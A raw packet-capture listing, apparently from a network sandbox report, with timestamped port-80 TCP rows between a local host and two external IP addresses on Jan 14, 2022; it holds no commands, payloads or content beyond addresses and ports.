Jan 14, 2022 02:05:16.715321064 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.715348005 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715384007 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715410948 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715428114 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.715434074 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715459108 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715485096 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715490103 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.715507984 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715509892 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.715533972 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715552092 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.715559006 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715583086 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715610981 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715635061 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.715645075 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715650082 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.715681076 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715718031 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715718985 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.715751886 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.717292070 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.717350960 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.717391014 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.717437983 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.717442036 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.717499971 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.717545986 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.717586994 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.717591047 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.717609882 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.717628956 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.717643976 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.717669010 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.717711926 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.717720985 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.717762947 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.717777967 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.717838049 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.717886925 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.717924118 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.717950106 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.717974901 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.718002081 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718039036 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718091011 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718123913 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718137980 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.718148947 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718175888 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718177080 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.718214035 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718221903 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.718257904 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718296051 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718312025 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.718347073 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718381882 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718432903 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.718456030 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718501091 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.718512058 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718537092 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718574047 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718619108 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.718619108 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718641996 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718669891 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.718673944 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718708038 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718717098 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.718741894 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718779087 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718791962 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.718812943 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718847990 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718887091 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718897104 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.718914032 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718926907 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.718939066 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718962908 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.718976974 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.718986034 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.719011068 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.719034910 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.719049931 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.719059944 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.719084978 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.719086885 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.719108105 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.719118118 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.719142914 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.723093987 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.729439020 CET	80	49882	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:16.758582115 CET	80	49882	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:16.758688927 CET	49882	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:16.761837006 CET	49882	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:16.786484003 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.786581039 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.786637068 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.786689997 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.786698103 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.786714077 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.786740065 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.786761999 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.786803961 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.786839962 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.786849022 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.786880970 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.786892891 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.786933899 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.786967039 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.786983967 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.786993980 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787017107 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787039995 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787043095 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.787064075 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787081003 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787102938 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787106991 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.787125111 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787134886 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.787147045 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787164927 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.787169933 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787190914 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787219048 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.787220001 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787251949 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787282944 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787292004 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.787313938 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787324905 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.787347078 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787378073 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787410975 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787422895 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.787442923 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787453890 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.787471056 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787493944 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787514925 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787537098 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787558079 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787561893 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.787580013 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787604094 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.787611961 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.787646055 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.789740086 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.789907932 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.789975882 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.789984941 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790035009 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790087938 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790121078 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790142059 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.790144920 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790172100 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790174007 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.790206909 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790215015 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.790242910 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790276051 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790321112 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.790352106 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790385962 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790397882 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.790420055 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790493965 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790520906 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790538073 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.790544033 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790566921 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790575981 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.790589094 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790601969 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.790612936 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790638924 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790652037 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.790673018 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790708065 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790740013 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790750027 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.790774107 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790781975 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.790805101 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790829897 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790853977 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790875912 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790880919 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.790899038 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790908098 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.790921926 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790935993 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.790944099 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790966988 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790990114 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.790998936 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.791012049 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.791033030 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.791035891 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.791064024 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.791080952 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.791104078 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.791105986 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.791126966 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.791141987 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.791151047 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.791168928 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.791182995 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.791217089 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.791225910 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.791249990 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.791282892 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.791317940 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.791327953 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.791362047 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.791373014 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.791393995 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.791424036 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.791446924 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.791470051 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.791498899 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.793701887 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.793730021 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.793797016 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.813909054 CET	80	49882	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:16.858268023 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.858324051 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.858505964 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.858576059 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.858577967 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.858603001 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.858623981 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.858628035 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.858663082 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.858674049 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.858716011 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.858752012 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.858778000 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.858799934 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.858817101 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.858843088 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.858859062 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.858907938 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.858944893 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.858954906 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.858980894 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.858993053 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.859019041 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859055996 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859086037 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.859095097 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859133005 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859159946 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.859164953 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859191895 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859210968 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.859215975 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859241009 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859266996 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859288931 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.859292030 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859318018 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859323025 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.859352112 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859361887 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.859390020 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859428883 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859467983 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859481096 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.859503984 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859515905 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.859539986 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859569073 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859595060 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859612942 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.859621048 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859646082 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859649897 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.859669924 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.859694958 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.859695911 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.860439062 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.861985922 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862050056 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862112045 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.862143040 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862226963 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862297058 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862353086 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.862399101 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862446070 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.862494946 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862571955 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862597942 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862632990 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862643957 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.862658978 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862683058 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862684011 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.862708092 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862732887 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.862734079 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862756968 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862783909 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862799883 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.862808943 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862833977 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862843037 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.862859964 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862881899 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.862884998 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862910986 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862934113 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.862936974 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862961054 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.862986088 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863003969 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.863012075 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863037109 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863042116 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.863063097 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863080978 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.863087893 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863114119 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863140106 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863162994 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863163948 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.863188028 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863193035 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.863212109 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863235950 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.863236904 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.863261938 CET	80	49879	141.8.194.74	192.168.2.3
